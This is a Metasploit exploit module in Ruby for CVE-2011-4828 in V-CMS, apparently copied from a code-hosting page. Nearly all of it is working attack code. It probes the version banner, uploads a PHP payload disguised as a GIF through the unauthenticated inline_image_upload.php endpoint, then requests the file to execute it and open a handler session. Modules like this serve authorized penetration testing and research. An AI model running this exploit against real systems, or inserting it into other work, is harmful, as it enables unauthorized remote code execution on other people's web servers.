121 lines
3.6 KiB
Ruby
121 lines
3.6 KiB
Ruby
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::PhpEXE
|
|
|
|
def initialize(info={})
|
|
super(update_info(info,
|
|
'Name' => "V-CMS PHP File Upload and Execute",
|
|
'Description' => %q{
|
|
This module exploits a vulnerability found on V-CMS's inline image upload feature.
|
|
The problem is due to the inline_image_upload.php file not checking the file type
|
|
before saving it on the web server. This allows any malicious user to upload a
|
|
script (such as PHP) without authentication, and then execute it with a GET request.
|
|
|
|
The issue is fixed in 1.1 by checking the extension name. By default, 1.1 only
|
|
allows jpg, jpeg, png, gif, bmp, but it is still possible to upload a PHP file as
|
|
one of those extension names, which may still be leveraged in an attack.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'AutoSec Tools', # Initial discovery
|
|
'sinn3r' # Metasploit
|
|
],
|
|
'References' =>
|
|
[
|
|
['CVE', '2011-4828'],
|
|
['OSVDB', '77183'],
|
|
['BID', '50706'],
|
|
['URL', 'http://xforce.iss.net/xforce/xfdb/71358']
|
|
],
|
|
'Payload' =>
|
|
{
|
|
'BadChars' => "\x00",
|
|
},
|
|
'Platform' => 'php',
|
|
'Arch' => ARCH_PHP,
|
|
'Targets' =>
|
|
[
|
|
[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
|
|
[ 'Linux x86' , { 'Arch' => ARCH_X86, 'Platform' => 'linux'} ]
|
|
],
|
|
'Privileged' => false,
|
|
'DisclosureDate' => "Nov 27 2011", #When the ticket was created
|
|
'DefaultTarget' => 0))
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('TARGETURI', [true, 'The URI path to vcms', '/vcms/'])
|
|
], self.class)
|
|
end
|
|
|
|
def check
|
|
uri = normalize_uri(target_uri.path)
|
|
uri << '/' if uri[-1,1] != '/'
|
|
res = send_request_raw({
|
|
'uri' => uri,
|
|
'method' => 'GET'
|
|
})
|
|
|
|
if res and res.body =~ /V\-CMS v1\.[0-1]/
|
|
return Exploit::CheckCode::Appears
|
|
else
|
|
return Exploit::CheckCode::Safe
|
|
end
|
|
end
|
|
|
|
def exploit
|
|
peer = "#{rhost}:#{rport}"
|
|
|
|
base = target_uri.path
|
|
base << '/' if base[-1,1] != '/'
|
|
|
|
@payload_name = "#{rand_text_alpha(5)}.php"
|
|
p = get_write_exec_payload(:unlink_self=>true)
|
|
|
|
post_data = "------x\r\n"
|
|
post_data << "Content-Disposition: form-data; name=\"Filedata\"; filename=\"#{@payload_name}\"\r\n"
|
|
post_data << "Content-Type: image/gif\r\n"
|
|
post_data << "\r\n"
|
|
post_data << p + "\r\n"
|
|
post_data << "------x--\r\n"
|
|
|
|
print_status("#{peer} Uploading payload: #{@payload_name}")
|
|
res = send_request_cgi({
|
|
'uri' => normalize_uri(base, 'includes/inline_image_upload.php'),
|
|
'method' => 'POST',
|
|
'ctype' => 'multipart/form-data; boundary=----x',
|
|
'data' => post_data
|
|
})
|
|
|
|
if res
|
|
print_status("#{peer} replies status: #{res.code.to_s}")
|
|
else
|
|
print_error("#{peer} No response from server. Will not continue")
|
|
return
|
|
end
|
|
|
|
print_status("#{peer} Executing payload: #{@payload_name}")
|
|
res = send_request_raw({
|
|
'uri' => "#{base}temp/#{@payload_name}",
|
|
'method' => 'GET'
|
|
})
|
|
|
|
if res and res.code == 404
|
|
print_error("#{peer} 404 - the upload probably failed")
|
|
return
|
|
end
|
|
|
|
handler
|
|
end
|
|
end
|